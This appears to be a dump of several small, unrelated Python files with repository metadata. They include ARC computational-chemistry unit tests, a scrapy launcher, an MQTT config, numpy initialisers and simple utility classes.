job_type='opt', level_of_theory='b3lyp/6-311++G(d,p)', multiplicity=1, testing=True,
project_directory=os.path.join(arc_path, 'Projects', 'project_test'), fine=True, job_num=100)
self.assertEqual(job0.software, 'gaussian')
job0 = Job(project='project_test', ess_settings=self.ess_settings, species_name='tst_spc', xyz=self.xyz_c,
job_type='opt', level_of_theory='ccsd(t)/avtz', multiplicity=1, testing=True,
project_directory=os.path.join(arc_path, 'Projects', 'project_test'), fine=True, job_num=100)
self.assertEqual(job0.software, 'molpro')
job0 = Job(project='project_test', ess_settings=self.ess_settings, species_name='tst_spc', xyz=self.xyz_c,
job_type='opt', level_of_theory='wb97xd/6-311++g(d,p)', multiplicity=1, testing=True,
project_directory=os.path.join(arc_path, 'Projects', 'project_test'), fine=True, job_num=100)
self.assertEqual(job0.software, 'gaussian')
job0 = Job(project='project_test', ess_settings=self.ess_settings, species_name='tst_spc', xyz=self.xyz_c,
job_type='opt', level_of_theory='wb97x-d3/6-311++g(d,p)', multiplicity=1, testing=True,
project_directory=os.path.join(arc_path, 'Projects', 'project_test'), fine=True, job_num=100)
self.assertEqual(job0.software, 'qchem')
job0 = Job(project='project_test', ess_settings=self.ess_settings, species_name='tst_spc', xyz=self.xyz_c,
job_type='opt', level_of_theory='b97/6-311++g(d,p)', multiplicity=1, testing=True,
project_directory=os.path.join(arc_path, 'Projects', 'project_test'), fine=True, job_num=100)
self.assertEqual(job0.software, 'gaussian')
job0 = Job(project='project_test', ess_settings=self.ess_settings, species_name='tst_spc', xyz=self.xyz_c,
job_type='opt', level_of_theory='m062x/6-311++g(d,p)', multiplicity=1, testing=True,
project_directory=os.path.join(arc_path, 'Projects', 'project_test'), fine=True, job_num=100)
self.assertEqual(job0.software, 'gaussian')
job0 = Job(project='project_test', ess_settings=self.ess_settings, species_name='tst_spc', xyz=self.xyz_c,
job_type='opt', level_of_theory='m06-2x/6-311++g(d,p)', multiplicity=1, testing=True,
project_directory=os.path.join(arc_path, 'Projects', 'project_test'), fine=True, job_num=100)
self.assertEqual(job0.software, 'qchem')
job0 = Job(project='project_test', ess_settings=self.ess_settings, species_name='tst_spc', xyz=self.xyz_c,
job_type='scan', level_of_theory='m062x/6-311++g(d,p)', multiplicity=1, testing=True,
project_directory=os.path.join(arc_path, 'Projects', 'project_test'), fine=True, job_num=100)
self.assertEqual(job0.software, 'gaussian')
job0 = Job(project='project_test', ess_settings=self.ess_settings, species_name='tst_spc', xyz=self.xyz_c,
job_type='scan', level_of_theory='m06-2x/6-311++g(d,p)', multiplicity=1, testing=True,
project_directory=os.path.join(arc_path, 'Projects', 'project_test'), fine=True, job_num=100)
self.assertEqual(job0.software, 'qchem')
self.assertEqual(job0.total_job_memory_gb, 14)
self.assertEqual(job0.max_job_time, 120)
def test_bath_gas(self):
"""Test correctly assigning the bath_gas attribute"""
self.assertIsNone(self.job1.bath_gas)
job2 = Job(project='project_test', ess_settings=self.ess_settings, species_name='tst_spc',
xyz=self.xyz_c, job_type='onedmin', level_of_theory='b3lyp/6-31+g(d)', multiplicity=1,
testing=True, project_directory=os.path.join(arc_path, 'Projects', 'project_test'),
fine=True, job_num=100)
self.assertEqual(job2.bath_gas, 'N2')
job2 = Job(project='project_test', ess_settings=self.ess_settings, species_name='tst_spc',
xyz=self.xyz_c, job_type='onedmin', level_of_theory='b3lyp/6-31+g(d)', multiplicity=1,
testing=True, project_directory=os.path.join(arc_path, 'Projects', 'project_test'),
fine=True, job_num=100, bath_gas='Ar')
self.assertEqual(job2.bath_gas, 'Ar')
def test_deduce_software(self):
"""Test deducing the ESS software"""
self.job1.job_type = 'onedmin'
self.job1.software = None
self.job1.deduce_software()
self.assertEqual(self.job1.software, 'onedmin')
self.job1.job_type = 'orbitals'
self.job1.software = None
self.job1.deduce_software()
self.assertEqual(self.job1.software, 'qchem')
self.job1.job_type = 'composite'
self.job1.software = None
self.job1.deduce_software()
self.assertEqual(self.job1.software, 'gaussian')
self.job1.job_type = 'opt'
self.job1.level_of_theory = 'm06-2x/6-311g' # test the levels_ess dict from settings
self.job1.software = None
self.job1.deduce_software()
self.assertEqual(self.job1.software, 'qchem')
self.job1.job_type = 'opt'
self.job1.level_of_theory = 'ccsd(t)/cc-pvtz'
self.job1.method = 'ccsd(t)'
self.job1.software = None
self.job1.deduce_software()
self.assertEqual(self.job1.software, 'molpro')
self.job1.job_type = 'opt'
self.job1.level_of_theory = 'wb97xd/6-311g'
self.job1.method = 'wb97xd'
self.job1.software = None
self.job1.deduce_software()
self.assertEqual(self.job1.software, 'gaussian')
self.job1.job_type = 'scan'
self.job1.level_of_theory = 'm062x/6-311g'
self.job1.method = 'm062x'
self.job1.software = None
self.job1.deduce_software()
self.assertEqual(self.job1.software, 'gaussian')
def test_set_cpu_and_mem(self):
"""Test assigning number of cpu's and memory"""
self.job1.cpu_cores = None
self.job1.total_job_memory_gb = 14
self.job1.input_file_memory = None
self.job1.submit_script_memory = None
self.job1.server = 'server2'
self.job1.software = 'molpro'
self.job1.set_cpu_and_mem()
self.assertEqual(self.job1.cpu_cores, 8)
expected_memory = math.ceil(14 * 128 / 8)
self.assertEqual(self.job1.input_file_memory, expected_memory)
self.job1.server = 'server1'
self.job1.cpu_cores = None
self.job1.set_cpu_and_mem()
self.assertEqual(self.job1.cpu_cores, 8)
expected_memory = math.ceil(14 * 128 / 8)
self.assertEqual(self.job1.input_file_memory, expected_memory)
self.job1.cpu_cores = None
self.job1.input_file_memory = None
self.job1.submit_script_memory = None
self.job1.server = 'server2'
self.job1.software = 'terachem'
self.job1.set_cpu_and_mem()
self.assertEqual(self.job1.cpu_cores, 8)
expected_memory = math.ceil(14 * 128 / 8)
self.assertEqual(self.job1.input_file_memory, expected_memory)
self.job1.cpu_cores = None
self.job1.input_file_memory = None
self.job1.submit_script_memory = None
self.job1.server = 'server2'
self.job1.software = 'gaussian'
self.job1.set_cpu_and_mem()
self.assertEqual(self.job1.cpu_cores, 8)
expected_memory = math.ceil(14 * 1024)
self.assertEqual(self.job1.input_file_memory, expected_memory)
self.job1.cpu_cores = None
self.job1.input_file_memory = None
self.job1.submit_script_memory = None
self.job1.server = 'server2'
self.job1.software = 'orca'
self.job1.set_cpu_and_mem()
self.assertEqual(self.job1.cpu_cores, 8)
expected_memory = math.ceil(14 * 1024 / 8)
self.assertEqual(self.job1.input_file_memory, expected_memory)
self.job1.cpu_cores = None
self.job1.input_file_memory = None
self.job1.submit_script_memory = None
self.job1.server = 'server2'
self.job1.software = 'qchem'
self.job1.set_cpu_and_mem()
self.assertEqual(self.job1.cpu_cores, 8)
self.assertEqual(self.job1.input_file_memory, 14)
def test_set_file_paths(self):
"""Test setting file paths"""
self.job1.job_type = 'onedmin'
self.job1.set_file_paths()
self.assertEqual(len(self.job1.additional_files_to_upload), 3)
self.assertEqual(self.job1.additional_files_to_upload[0]['source'], 'path')
self.assertEqual(self.job1.additional_files_to_upload[0]['name'], 'geo')
self.assertFalse(self.job1.additional_files_to_upload[0]['make_x'])
self.assertIn('geo.xyz', self.job1.additional_files_to_upload[0]['remote'])
self.assertIn('geo.xyz', self.job1.additional_files_to_upload[0]['local'])
self.assertEqual(self.job1.additional_files_to_upload[1]['source'], 'input_files')
self.assertEqual(self.job1.additional_files_to_upload[1]['name'], 'm.x')
self.assertTrue(self.job1.additional_files_to_upload[1]['make_x'])
self.assertIn('m.x', self.job1.additional_files_to_upload[1]['remote'])
self.assertEqual(self.job1.additional_files_to_upload[1]['local'], 'onedmin.molpro.x')
self.assertEqual(self.job1.additional_files_to_upload[2]['source'], 'input_files')
self.assertEqual(self.job1.additional_files_to_upload[2]['name'], 'qc.mol')
self.assertFalse(self.job1.additional_files_to_upload[2]['make_x'])
self.assertIn('qc.mol', self.job1.additional_files_to_upload[2]['remote'])
self.assertEqual(self.job1.additional_files_to_upload[2]['local'], 'onedmin.qc.mol')
self.job1.job_type = 'gromacs'
self.job1.set_file_paths()
self.assertEqual(len(self.job1.additional_files_to_upload), 6)
self.assertEqual(self.job1.additional_files_to_upload[0]['source'], 'path')
self.assertEqual(self.job1.additional_files_to_upload[0]['name'], 'gaussian.out')
self.assertFalse(self.job1.additional_files_to_upload[0]['make_x'])
self.assertIn('gaussian.out', self.job1.additional_files_to_upload[0]['remote'])
self.assertIn('gaussian.out', self.job1.additional_files_to_upload[0]['local'])
self.assertEqual(self.job1.additional_files_to_upload[1]['source'], 'path')
self.assertEqual(self.job1.additional_files_to_upload[1]['name'], 'coords.yml')
self.assertFalse(self.job1.additional_files_to_upload[1]['make_x'])
self.assertIn('coords.yml', self.job1.additional_files_to_upload[1]['remote'])
self.assertEqual(self.job1.additional_files_to_upload[2]['source'], 'path')
self.assertEqual(self.job1.additional_files_to_upload[2]['name'], 'acpype.py')
self.assertFalse(self.job1.additional_files_to_upload[2]['make_x'])
self.assertIn('acpype.py', self.job1.additional_files_to_upload[2]['remote'])
self.assertIn('acpype.py', self.job1.additional_files_to_upload[2]['local'])
self.assertEqual(self.job1.additional_files_to_upload[3]['source'], 'path')
self.assertEqual(self.job1.additional_files_to_upload[3]['name'], 'mdconf.py')
self.assertFalse(self.job1.additional_files_to_upload[3]['make_x'])
self.assertIn('mdconf.py', self.job1.additional_files_to_upload[3]['remote'])
self.assertIn('mdconf.py', self.job1.additional_files_to_upload[3]['local'])
self.assertEqual(self.job1.additional_files_to_upload[4]['source'], 'path')
self.assertEqual(self.job1.additional_files_to_upload[4]['name'], 'M00.tleap')
self.assertFalse(self.job1.additional_files_to_upload[4]['make_x'])
self.assertIn('M00.tleap', self.job1.additional_files_to_upload[4]['remote'])
self.assertIn('M00.tleap', self.job1.additional_files_to_upload[4]['local'])
self.assertEqual(self.job1.additional_files_to_upload[5]['source'], 'path')
self.assertEqual(self.job1.additional_files_to_upload[5]['name'], 'mdp.mdp')
self.assertFalse(self.job1.additional_files_to_upload[5]['make_x'])
self.assertIn('mdp.mdp', self.job1.additional_files_to_upload[5]['remote'])
self.assertIn('mdp.mdp', self.job1.additional_files_to_upload[5]['local'])
@classmethod
def tearDownClass(cls):
"""
A function that is run ONCE after all unit tests in this class.
Delete all project directories created during these unit tests
"""
projects = ['arc_project_for_testing_delete_after_usage3']
for project in projects:
project_directory = os.path.join(arc_path, 'Projects', project)
if os.path.isdir(project_directory):
shutil.rmtree(project_directory)
if __name__ == '__main__':
unittest.main(testRunner=unittest.TextTestRunner(verbosity=2))
| 50.766467
| 114
| 0.638299
| 2,212
| 16,956
| 4.654611
| 0.100814
| 0.104118
| 0.08042
| 0.102758
| 0.781954
| 0.767094
| 0.748155
| 0.724845
| 0.692405
| 0.663656
| 0
| 0.039763
| 0.224286
| 16,956
| 333
| 115
| 50.918919
| 0.743024
| 0.037273
| 0
| 0.414449
| 0
| 0
| 0.141271
| 0.009315
| 0
| 0
| 0
| 0
| 0.342205
| 1
| 0.034221
| false
| 0
| 0.026616
| 0
| 0.064639
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
3fd362e81eec30450217ac1ec663ae73c8b20660
| 78
|
py
|
Python
|
plmm/main.py
|
hamishMu/scrapy-
|
39a7325e2a57bf61ff4e9e9f373eb584d33c5209
|
[
"Apache-2.0"
] | null | null | null |
plmm/main.py
|
hamishMu/scrapy-
|
39a7325e2a57bf61ff4e9e9f373eb584d33c5209
|
[
"Apache-2.0"
] | null | null | null |
plmm/main.py
|
hamishMu/scrapy-
|
39a7325e2a57bf61ff4e9e9f373eb584d33c5209
|
[
"Apache-2.0"
] | null | null | null |
from scrapy import cmdline
cmdline.execute("scrapy crawl plmmspider".split())
| 39
| 50
| 0.807692
| 10
| 78
| 6.3
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.089744
| 78
| 2
| 50
| 39
| 0.887324
| 0
| 0
| 0
| 0
| 0
| 0.294872
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
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| 0
| 0
| null | 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 1
| 0
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| 0
| 0
| 0
| 0
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| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
3ffd9d7018d8a6085838430be63c459a525f8bed
| 558
|
py
|
Python
|
zk/attendance.py
|
beshoyAtefZaki/attendence-
|
323eb2092dc5ab4ca9b66e99ce528729d3b7b0f5
|
[
"MIT"
] | 2
|
2020-12-23T16:56:39.000Z
|
2021-12-10T11:46:16.000Z
|
zk/attendance.py
|
beshoyAtefZaki/attendence-
|
323eb2092dc5ab4ca9b66e99ce528729d3b7b0f5
|
[
"MIT"
] | null | null | null |
zk/attendance.py
|
beshoyAtefZaki/attendence-
|
323eb2092dc5ab4ca9b66e99ce528729d3b7b0f5
|
[
"MIT"
] | 2
|
2019-09-09T08:25:37.000Z
|
2020-01-10T11:22:42.000Z
|
# -*- coding: utf-8 -*-
class Attendance(object):
def __init__(self, user_id, timestamp, status, punch=0, uid=0):
self.uid = uid # not really used any more
self.user_id = user_id
self.timestamp = timestamp
self.status = status
self.punch = punch
def __str__(self):
return '<Attendance>: {} : {} ({}, {})'.format(self.user_id, self.timestamp, self.status, self.punch)
def __repr__(self):
return '<Attendance>: {} : {} ({}, {})'.format(self.user_id, self.timestamp,self.status, self.punch)
| 37.2
| 109
| 0.603943
| 69
| 558
| 4.637681
| 0.362319
| 0.09375
| 0.125
| 0.178125
| 0.425
| 0.425
| 0.425
| 0.425
| 0.425
| 0.425
| 0
| 0.006977
| 0.229391
| 558
| 14
| 110
| 39.857143
| 0.737209
| 0.082437
| 0
| 0.181818
| 0
| 0
| 0.117878
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.272727
| false
| 0
| 0
| 0.181818
| 0.545455
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
b201dc923f5f2db29a9d6985283946b2b6907c16
| 471
|
py
|
Python
|
python/torch_mlir_e2e_test/torchscript/configs/__init__.py
|
sogartar/torch-mlir
|
19e9fc4ef12d7207eadd3dc9121aebe1555ea8dd
|
[
"Apache-2.0"
] | 152
|
2020-07-31T16:10:53.000Z
|
2021-09-20T03:29:00.000Z
|
python/torch_mlir_e2e_test/torchscript/configs/__init__.py
|
sogartar/torch-mlir
|
19e9fc4ef12d7207eadd3dc9121aebe1555ea8dd
|
[
"Apache-2.0"
] | 155
|
2020-08-01T01:15:12.000Z
|
2021-09-23T02:21:12.000Z
|
python/torch_mlir_e2e_test/torchscript/configs/__init__.py
|
sogartar/torch-mlir
|
19e9fc4ef12d7207eadd3dc9121aebe1555ea8dd
|
[
"Apache-2.0"
] | 38
|
2020-07-31T04:52:19.000Z
|
2021-09-02T07:54:51.000Z
|
# Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
# See https://llvm.org/LICENSE.txt for license information.
# SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
# Also available under a BSD-style license. See LICENSE.
from .linalg_on_tensors_backend import LinalgOnTensorsBackendTestConfig
from .native_torch import NativeTorchTestConfig
from .torchscript import TorchScriptTestConfig
from .tosa_backend import TosaBackendTestConfig
| 47.1
| 79
| 0.834395
| 62
| 471
| 6.258065
| 0.66129
| 0.025773
| 0.046392
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.009524
| 0.10828
| 471
| 9
| 80
| 52.333333
| 0.914286
| 0.522293
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
4d0206df26c4dacfabab92af2374a5b3b4793952
| 96
|
py
|
Python
|
server/__init__.py
|
lafith/svelte-flask-template
|
b2d568888639f38cf19b87191cf9931e4e4974e3
|
[
"MIT"
] | 1
|
2021-06-20T03:55:06.000Z
|
2021-06-20T03:55:06.000Z
|
server/__init__.py
|
lafith/svelte-flask-template
|
b2d568888639f38cf19b87191cf9931e4e4974e3
|
[
"MIT"
] | null | null | null |
server/__init__.py
|
lafith/svelte-flask-template
|
b2d568888639f38cf19b87191cf9931e4e4974e3
|
[
"MIT"
] | null | null | null |
from flask import Flask
# setting up the app:
app = Flask(__name__)
from server import routes
| 13.714286
| 25
| 0.760417
| 15
| 96
| 4.6
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.1875
| 96
| 6
| 26
| 16
| 0.884615
| 0.197917
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
4d027c9bc19060eebb89cf9bc1719b5711d24754
| 1,554
|
py
|
Python
|
deeplib/initializers.py
|
tflahaul/dslib
|
6e490e08810115d51661da8c6731d95e42e99089
|
[
"MIT"
] | 2
|
2021-01-02T10:38:40.000Z
|
2021-12-31T09:41:01.000Z
|
deeplib/initializers.py
|
tflahaul/dslib
|
6e490e08810115d51661da8c6731d95e42e99089
|
[
"MIT"
] | null | null | null |
deeplib/initializers.py
|
tflahaul/dslib
|
6e490e08810115d51661da8c6731d95e42e99089
|
[
"MIT"
] | null | null | null |
# **************************************************************************** #
# #
# ::: :::::::: #
# initializers.py :+: :+: :+: #
# +:+ +:+ +:+ #
# By: thflahau <thflahau@student.42.fr> +#+ +:+ +#+ #
# +#+#+#+#+#+ +#+ #
# Created: 2020/12/06 15:03:31 by thflahau #+# #+# #
# Updated: 2021/02/02 19:15:10 by thflahau ### ########.fr #
# #
# **************************************************************************** #
import numpy as np
import numpy.random as nrand
def regular(shape, dtype='float32'):
return nrand.ranf(size=shape).astype(dtype)
def regular_scaled(shape, dtype='float32'):
return nrand.ranf(size=shape).astype(dtype) * 0.1
def uniform(shape, dtype='float32'):
return nrand.uniform(-1.0, 1.0, size=shape).astype(dtype)
def normal(shape, dtype='float32'):
return nrand.normal(size=shape).astype(dtype)
def he_uniform(shape, dtype='float32'):
scale = np.sqrt(6.0 / shape[1])
return nrand.uniform(-scale, scale, size=shape).astype(dtype)
def he_normal(shape, dtype='float32'):
return nrand.normal(0.0, np.sqrt(2.0 / shape[1]), size=shape).astype(dtype)
| 45.705882
| 80
| 0.379665
| 134
| 1,554
| 4.380597
| 0.328358
| 0.102215
| 0.173765
| 0.204429
| 0.49063
| 0.398637
| 0.313458
| 0.177172
| 0.177172
| 0.177172
| 0
| 0.058091
| 0.379665
| 1,554
| 33
| 81
| 47.090909
| 0.55083
| 0.536036
| 0
| 0
| 0
| 0
| 0.062315
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.4
| false
| 0
| 0.133333
| 0.333333
| 0.933333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
4d3af6102799b3cb99848cc70b688b01584f8d72
| 54
|
py
|
Python
|
src/service_framework/connections/in/__init__.py
|
ZacharyATanenbaum/service_framework
|
b5dde4407998350d1b7ad09284110b986fd4e12a
|
[
"MIT"
] | 1
|
2020-03-20T21:33:56.000Z
|
2020-03-20T21:33:56.000Z
|
src/service_framework/connections/in/__init__.py
|
ZacharyATanenbaum/service_framework
|
b5dde4407998350d1b7ad09284110b986fd4e12a
|
[
"MIT"
] | 1
|
2020-03-22T03:48:45.000Z
|
2020-03-22T03:48:45.000Z
|
src/service_framework/connections/in/__init__.py
|
ZacharyATanenbaum/service_framework
|
b5dde4407998350d1b7ad09284110b986fd4e12a
|
[
"MIT"
] | null | null | null |
""" Still trying to come up with something clever """
| 27
| 53
| 0.703704
| 8
| 54
| 4.75
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.185185
| 54
| 1
| 54
| 54
| 0.863636
| 0.833333
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
4d6591beb7a09c503bed9adcbbab740bdb879300
| 106
|
py
|
Python
|
basil/watches/migrate.py
|
eve-basil/watches
|
6515318776b0d06cc2eb7f2c20d8de3d3a8c8c79
|
[
"Apache-2.0"
] | null | null | null |
basil/watches/migrate.py
|
eve-basil/watches
|
6515318776b0d06cc2eb7f2c20d8de3d3a8c8c79
|
[
"Apache-2.0"
] | 1
|
2016-01-12T20:09:12.000Z
|
2016-01-12T20:09:12.000Z
|
basil/watches/migrate.py
|
eve-basil/watches
|
6515318776b0d06cc2eb7f2c20d8de3d3a8c8c79
|
[
"Apache-2.0"
] | null | null | null |
import common
import storage
common.verify_parameters()
storage.migrate_db(common.database_connector())
| 15.142857
| 47
| 0.839623
| 13
| 106
| 6.615385
| 0.692308
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.075472
| 106
| 6
| 48
| 17.666667
| 0.877551
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
4d78dc489424ac178ff499b52f4d2dcf8ab2ad0f
| 1,038
|
py
|
Python
|
device/transport/mqtt/MQTT/config.py
|
ScreamBun/openc2-oif-device
|
1666b2d202e3adb8baab618ead7fa1de556c1c58
|
[
"Apache-2.0"
] | null | null | null |
device/transport/mqtt/MQTT/config.py
|
ScreamBun/openc2-oif-device
|
1666b2d202e3adb8baab618ead7fa1de556c1c58
|
[
"Apache-2.0"
] | null | null | null |
device/transport/mqtt/MQTT/config.py
|
ScreamBun/openc2-oif-device
|
1666b2d202e3adb8baab618ead7fa1de556c1c58
|
[
"Apache-2.0"
] | null | null | null |
import os
from sb_utils import FrozenDict, safe_cast
Config = FrozenDict(
TLS_ENABLED=os.environ.get('MQTT_TLS_ENABLED', False),
TLS_SELF_SIGNED=safe_cast(os.environ.get('MQTT_TLS_SELF_SIGNED', 0), int, 0),
CAFILE=os.environ.get('MQTT_CAFILE', None),
CLIENT_CERT=os.environ.get('MQTT_CLIENT_CERT', None),
CLIENT_KEY=os.environ.get('MQTT_CLIENT_KEY', None),
USERNAME=os.environ.get('MQTT_DEFAULT_USERNAME', None),
PASSWORD=os.environ.get('MQTT_DEFAULT_PASSWORD', None),
MQTT_PREFIX=os.environ.get('MQTT_PREFIX', ''),
MQTT_HOST=os.environ.get('MQTT_HOST', 'queue'),
MQTT_PORT=safe_cast(os.environ.get('MQTT_PORT', 1883), int, 1883),
# TODO: find alternatives??
TRANSPORT_TOPICS=[t.lower().strip() for t in os.environ.get("MQTT_TRANSPORT_TOPICS", "").split(",")],
TOPICS=[t.lower().strip() for t in os.environ.get("MQTT_TOPICS", "").split(",")],
# ETCD Options
ETCD_HOST=os.environ.get('ETCD_HOST', 'etcd'),
ETCD_PORT=safe_cast(os.environ.get('ETCD_PORT', 2379), int, 2379)
)
| 47.181818
| 105
| 0.702312
| 156
| 1,038
| 4.429487
| 0.294872
| 0.182344
| 0.243126
| 0.277858
| 0.384949
| 0.222865
| 0.11288
| 0.11288
| 0.11288
| 0.11288
| 0
| 0.019715
| 0.120424
| 1,038
| 21
| 106
| 49.428571
| 0.73713
| 0.036609
| 0
| 0
| 0
| 0
| 0.210632
| 0.06319
| 0
| 0
| 0
| 0.047619
| 0
| 1
| 0
| false
| 0.055556
| 0.111111
| 0
| 0.111111
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
4d9006ac86043ad960ea7336d0aa206720166cfe
| 555
|
py
|
Python
|
messages.py
|
mattallinson/Mailman
|
8f2307361531a9bb98809a9d4bdfbc6db67ae52b
|
[
"Unlicense"
] | null | null | null |
messages.py
|
mattallinson/Mailman
|
8f2307361531a9bb98809a9d4bdfbc6db67ae52b
|
[
"Unlicense"
] | null | null | null |
messages.py
|
mattallinson/Mailman
|
8f2307361531a9bb98809a9d4bdfbc6db67ae52b
|
[
"Unlicense"
] | null | null | null |
welcome_message = '''
######################################################
Hello! This script pulls all the emails for a required
mailing list and saves them as a text file in the
"Output" folder.
If you run in to problems, contact Matt
Email: mrallinson@gmail.com
######################################################
'''
error_message = '''
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Something went wrong, please check mailing list name and password
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
'''
| 27.75
| 65
| 0.418018
| 49
| 555
| 4.693878
| 0.857143
| 0.095652
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.115315
| 555
| 20
| 66
| 27.75
| 0.468432
| 0
| 0
| 0.428571
| 0
| 0
| 0.911871
| 0.42446
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.071429
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
4dcba723f3ca4c25f2d87eff698c94113c181125
| 736
|
py
|
Python
|
Python Training/Day 6/itterator.py
|
Mayankjh/Python_ML_Training
|
87002cf98c7dd0833d81f96a6efae48a37e04dd2
|
[
"MIT"
] | 2
|
2018-07-28T17:40:57.000Z
|
2018-08-28T17:17:33.000Z
|
Python Training/Day 6/itterator.py
|
Mayankjh/Python_ML_Training
|
87002cf98c7dd0833d81f96a6efae48a37e04dd2
|
[
"MIT"
] | null | null | null |
Python Training/Day 6/itterator.py
|
Mayankjh/Python_ML_Training
|
87002cf98c7dd0833d81f96a6efae48a37e04dd2
|
[
"MIT"
] | null | null | null |
# import time as t
# a= ["sonic","CN","pogo","hungama","nick","disney","zetX","discovery"]
# b= iter(a)
# c = reversed(a)
# for channels in a:
# print(next(c))
# t.sleep(1)
class RemoteControl():
def __init__(self):
self.channels = ["sonic","CN","pogo","hungama","nick","disney","zetX","discovery"]
self.index= -1
def __iter__(self):
return self
def __next__(self):
self.index += 1
if self.index == len(self.channels):
self.index=0
return self.channels[self.index]
r = RemoteControl()
itr = iter(r)
print(next(itr))
print(next(itr))
print(next(itr))
print(next(itr))
print(next(itr))
print(next(itr))
print(next(itr))
print(next(itr))
print(next(itr))
| 23.741935
| 90
| 0.599185
| 104
| 736
| 4.125
| 0.346154
| 0.20979
| 0.251748
| 0.317016
| 0.44289
| 0.44289
| 0.44289
| 0.44289
| 0.251748
| 0.251748
| 0
| 0.006803
| 0.201087
| 736
| 30
| 91
| 24.533333
| 0.722789
| 0.222826
| 0
| 0.409091
| 0
| 0
| 0.072954
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.136364
| false
| 0
| 0
| 0.045455
| 0.272727
| 0.409091
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
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